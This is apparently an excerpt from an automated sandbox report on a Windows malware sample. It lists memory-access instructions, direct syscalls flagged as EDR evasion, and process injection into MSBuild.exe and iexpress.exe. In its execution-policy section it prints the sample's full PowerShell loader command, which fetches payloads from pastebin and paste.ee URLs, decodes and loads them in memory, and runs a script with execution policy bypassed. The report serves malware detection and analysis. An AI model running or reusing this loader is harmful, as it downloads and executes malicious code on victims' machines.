Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7C5ED mov eax, dword ptr fs:[00000030h]	10_2_01A7C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A615F4 mov eax, dword ptr fs:[00000030h]	10_2_01A615F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B135D7 mov eax, dword ptr fs:[00000030h]	10_2_01B135D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B135D7 mov eax, dword ptr fs:[00000030h]	10_2_01B135D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B135D7 mov eax, dword ptr fs:[00000030h]	10_2_01B135D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A755C0 mov eax, dword ptr fs:[00000030h]	10_2_01A755C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E5CF mov eax, dword ptr fs:[00000030h]	10_2_01A7E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E5CF mov eax, dword ptr fs:[00000030h]	10_2_01A7E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A465D0 mov eax, dword ptr fs:[00000030h]	10_2_01A465D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7A5D0 mov eax, dword ptr fs:[00000030h]	10_2_01A7A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7A5D0 mov eax, dword ptr fs:[00000030h]	10_2_01A7A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B155C9 mov eax, dword ptr fs:[00000030h]	10_2_01B155C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ABD5D0 mov eax, dword ptr fs:[00000030h]	10_2_01ABD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ABD5D0 mov ecx, dword ptr fs:[00000030h]	10_2_01ABD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A695DA mov eax, dword ptr fs:[00000030h]	10_2_01A695DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFB52F mov eax, dword ptr fs:[00000030h]	10_2_01AFB52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B15537 mov eax, dword ptr fs:[00000030h]	10_2_01B15537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AEF525 mov eax, dword ptr fs:[00000030h]	10_2_01AEF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A50535 mov eax, dword ptr fs:[00000030h]	10_2_01A50535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4D534 mov eax, dword ptr fs:[00000030h]	10_2_01A4D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7D530 mov eax, dword ptr fs:[00000030h]	10_2_01A7D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7D530 mov eax, dword ptr fs:[00000030h]	10_2_01A7D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E53E mov eax, dword ptr fs:[00000030h]	10_2_01A6E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E53E mov eax, dword ptr fs:[00000030h]	10_2_01A6E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E53E mov eax, dword ptr fs:[00000030h]	10_2_01A6E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E53E mov eax, dword ptr fs:[00000030h]	10_2_01A6E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6E53E mov eax, dword ptr fs:[00000030h]	10_2_01A6E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A77505 mov eax, dword ptr fs:[00000030h]	10_2_01A77505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A77505 mov ecx, dword ptr fs:[00000030h]	10_2_01A77505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B14500 mov eax, dword ptr fs:[00000030h]	10_2_01B14500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3B562 mov eax, dword ptr fs:[00000030h]	10_2_01A3B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7656A mov eax, dword ptr fs:[00000030h]	10_2_01A7656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7656A mov eax, dword ptr fs:[00000030h]	10_2_01A7656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7656A mov eax, dword ptr fs:[00000030h]	10_2_01A7656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7B570 mov eax, dword ptr fs:[00000030h]	10_2_01A7B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7B570 mov eax, dword ptr fs:[00000030h]	10_2_01A7B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A48550 mov eax, dword ptr fs:[00000030h]	10_2_01A48550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A48550 mov eax, dword ptr fs:[00000030h]	10_2_01A48550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A464AB mov eax, dword ptr fs:[00000030h]	10_2_01A464AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A734B0 mov eax, dword ptr fs:[00000030h]	10_2_01A734B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A744B0 mov ecx, dword ptr fs:[00000030h]	10_2_01A744B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01ACA4B0 mov eax, dword ptr fs:[00000030h]	10_2_01ACA4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A49486 mov eax, dword ptr fs:[00000030h]	10_2_01A49486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A49486 mov eax, dword ptr fs:[00000030h]	10_2_01A49486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3B480 mov eax, dword ptr fs:[00000030h]	10_2_01A3B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A404E5 mov ecx, dword ptr fs:[00000030h]	10_2_01A404E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AE94E0 mov eax, dword ptr fs:[00000030h]	10_2_01AE94E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B154DB mov eax, dword ptr fs:[00000030h]	10_2_01B154DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3E420 mov eax, dword ptr fs:[00000030h]	10_2_01A3E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3E420 mov eax, dword ptr fs:[00000030h]	10_2_01A3E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3E420 mov eax, dword ptr fs:[00000030h]	10_2_01A3E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A3C427 mov eax, dword ptr fs:[00000030h]	10_2_01A3C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7A430 mov eax, dword ptr fs:[00000030h]	10_2_01A7A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A78402 mov eax, dword ptr fs:[00000030h]	10_2_01A78402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A78402 mov eax, dword ptr fs:[00000030h]	10_2_01A78402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A78402 mov eax, dword ptr fs:[00000030h]	10_2_01A78402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6340D mov eax, dword ptr fs:[00000030h]	10_2_01A6340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460 mov eax, dword ptr fs:[00000030h]	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460 mov eax, dword ptr fs:[00000030h]	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460 mov eax, dword ptr fs:[00000030h]	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460 mov eax, dword ptr fs:[00000030h]	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A41460 mov eax, dword ptr fs:[00000030h]	10_2_01A41460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A5F460 mov eax, dword ptr fs:[00000030h]	10_2_01A5F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01B1547F mov eax, dword ptr fs:[00000030h]	10_2_01B1547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6A470 mov eax, dword ptr fs:[00000030h]	10_2_01A6A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6A470 mov eax, dword ptr fs:[00000030h]	10_2_01A6A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6A470 mov eax, dword ptr fs:[00000030h]	10_2_01A6A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A4B440 mov eax, dword ptr fs:[00000030h]	10_2_01A4B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A7E443 mov eax, dword ptr fs:[00000030h]	10_2_01A7E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01AFF453 mov eax, dword ptr fs:[00000030h]	10_2_01AFF453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_01A6245A mov eax, dword ptr fs:[00000030h]	10_2_01A6245A

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"

Encrypted powershell cmdline option found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Q1\|~y$T 7eMS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded Q1\|~y$T 7eMS			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtSetInformationThread: Direct from: 0x77D62B4C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtReadVirtualMemory: Direct from: 0x77D62E8C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtCreateKey: Direct from: 0x77D62C6C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQueryAttributesFile: Direct from: 0x77D62E6C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQuerySystemInformation: Direct from: 0x77D648CC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQueryVolumeInformationFile: Direct from: 0x77D62F2C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtAllocateVirtualMemory: Direct from: 0x77D648EC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtOpenSection: Direct from: 0x77D62E0C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtDeviceIoControlFile: Direct from: 0x77D62AEC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQuerySystemInformation: Direct from: 0x77D62DFC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtReadFile: Direct from: 0x77D62ADC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtDelayExecution: Direct from: 0x77D62DDC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQueryInformationProcess: Direct from: 0x77D62C26	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtResumeThread: Direct from: 0x77D62FBC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtWriteVirtualMemory: Direct from: 0x77D6490C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtCreateUserProcess: Direct from: 0x77D6371C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtClose: Direct from: 0x77D62B6C
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtAllocateVirtualMemory: Direct from: 0x77D63C9C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtSetInformationProcess: Direct from: 0x77D62C5C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtProtectVirtualMemory: Direct from: 0x77D62F9C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtNotifyChangeKey: Direct from: 0x77D63C2C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtWriteVirtualMemory: Direct from: 0x77D62E3C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtCreateMutant: Direct from: 0x77D635CC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtResumeThread: Direct from: 0x77D636AC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtMapViewOfSection: Direct from: 0x77D62D1C	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtAllocateVirtualMemory: Direct from: 0x77D62BFC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtAllocateVirtualMemory: Direct from: 0x77D62BEC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtSetInformationThread: Direct from: 0x77D62ECC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtQueryInformationToken: Direct from: 0x77D62CAC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtCreateFile: Direct from: 0x77D62FEC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtOpenFile: Direct from: 0x77D62DCC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtTerminateThread: Direct from: 0x77D62FCC	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	NtOpenKeyEx: Direct from: 0x77D62B9C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: NULL target: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: NULL target: C:\Windows\SysWOW64\iexpress.exe protection: execute and read and write	Jump to behavior
